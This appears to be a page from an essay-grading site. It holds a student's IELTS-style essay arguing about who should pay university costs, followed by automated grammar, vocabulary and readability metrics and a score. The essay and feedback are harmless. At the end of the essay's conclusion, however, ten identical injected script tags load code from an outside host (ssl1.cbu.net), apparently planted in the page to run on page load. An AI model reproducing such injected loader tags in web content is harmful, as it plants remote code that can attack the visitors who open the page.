Some people believe that university students should pay all the cost of studies because university education only benefits the students themselves, not the society as a whole. To what extent do you agree or disagree?
In this contemporary life, there are many people think that students in university need to pay all the tuition because university education only benefits for students, not benefits for society. From my perspective, students should pay for their course but university also pay other parts to support better education and this essay will examine and give my opinion.
Admittedly, there are some arguments in favor of university should pay some cost in education. First, university subsidies for higher education are believed to equalize education opportunities among young adolescents regardless of their background family. This financial support, presumably tends not only to increase the overall study rate of lower-income people but also to mitigate their feeling of inferiority, which promotes an egalitarian society.Second, university pay other cost in education would probably result in a greater supply of highly qualified workers, which benefits society in the long run. In fact, it is acknowledged that skilled and knowledgeable human capital is imperative to foster economic growth and technological development in any nations.
Nevertheless, the resultant problems would be far more significant than the minor benefits once university pay other cost for students. First, university pay other cost for students would likely correspond with a tremendous financial strain on a country. Generating no income from tuition and fees, university could over-reliant on the state budget for funding, meaning that there would be less input to develop other important areas such as healthcare system and transport infrastructure. Second, university need to pay other cost for higher education tempt many young people including those who are not academically inclined or show no interest in studying and potentially wasting time and money that these young people could spent their time on suitable career paths. It, instead, would be a more financial viable option if the resources were focused on supporting less privileged yet gifted students.
In conclusion, university could spend cost for other things to support students for study but it’s not meaning that university just benefits for students because students can be a necessary people in the future. From my perspective, government need to have a new rule for cost in university to balance that. <script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
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Grammar and spelling errors:
Line 3, column 729, Rule ID: DID_BASEFORM[1]
Message: The verb 'could' requires base form of the verb: 'spend'.
Suggestion: spend
...and money that these young people could spent their time on suitable career paths. It...
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Transition Words or Phrases used:
also, but, first, if, nevertheless, second, so, in conclusion, in fact, such as
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 11.0 13.1623246493 84% => OK
Auxiliary verbs: 15.0 7.85571142285 191% => OK
Conjunction : 13.0 10.4138276553 125% => OK
Relative clauses : 9.0 7.30460921844 123% => OK
Pronoun: 20.0 24.0651302605 83% => OK
Preposition: 39.0 41.998997996 93% => OK
Nominalization: 12.0 8.3376753507 144% => OK
Performance on vocabulary words:
No of characters: 1997.0 1615.20841683 124% => OK
No of words: 359.0 315.596192385 114% => OK
Chars per words: 5.56267409471 5.12529762239 109% => OK
Fourth root words length: 4.35284910392 4.20363070211 104% => OK
Word Length SD: 2.96544239347 2.80592935109 106% => OK
Unique words: 193.0 176.041082164 110% => OK
Unique words percentage: 0.537604456825 0.561755894193 96% => OK
syllable_count: 640.8 506.74238477 126% => OK
avg_syllables_per_word: 1.8 1.60771543086 112% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 2.0 5.43587174349 37% => OK
Article: 1.0 2.52805611222 40% => OK
Subordination: 0.0 2.10420841683 0% => More adverbial clause wanted.
Conjunction: 0.0 0.809619238477 0% => OK
Preposition: 5.0 4.76152304609 105% => OK
Performance on sentences:
How many sentences: 13.0 16.0721442886 81% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 27.0 20.2975951904 133% => The Avg. Sentence Length is relatively long.
Sentence length SD: 72.3943833841 49.4020404114 147% => OK
Chars per sentence: 153.615384615 106.682146367 144% => OK
Words per sentence: 27.6153846154 20.7667163134 133% => OK
Discourse Markers: 6.07692307692 7.06120827912 86% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 1.0 5.01903807615 20% => OK
Sentences with positive sentiment : 8.0 8.67935871743 92% => OK
Sentences with negative sentiment : 4.0 3.9879759519 100% => OK
Sentences with neutral sentiment: 1.0 3.4128256513 29% => More facts, knowledge or examples wanted.
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.356004511031 0.244688304435 145% => OK
Sentence topic coherence: 0.145434255986 0.084324248473 172% => OK
Sentence topic coherence SD: 0.0995841565866 0.0667982634062 149% => OK
Paragraph topic coherence: 0.254323103594 0.151304729494 168% => OK
Paragraph topic coherence SD: 0.0545394863602 0.056905535591 96% => OK
Essay readability:
automated_readability_index: 18.6 13.0946893788 142% => OK
flesch_reading_ease: 27.15 50.2224549098 54% => Flesch_reading_ease is low.
smog_index: 13.0 7.44779559118 175% => OK
flesch_kincaid_grade: 16.2 11.3001002004 143% => OK
coleman_liau_index: 15.26 12.4159519038 123% => OK
dale_chall_readability_score: 9.24 8.58950901804 108% => OK
difficult_words: 97.0 78.4519038076 124% => OK
linsear_write_formula: 13.0 9.78957915832 133% => OK
gunning_fog: 12.8 10.1190380762 126% => OK
text_standard: 13.0 10.7795591182 121% => OK
What are above readability scores?
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Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
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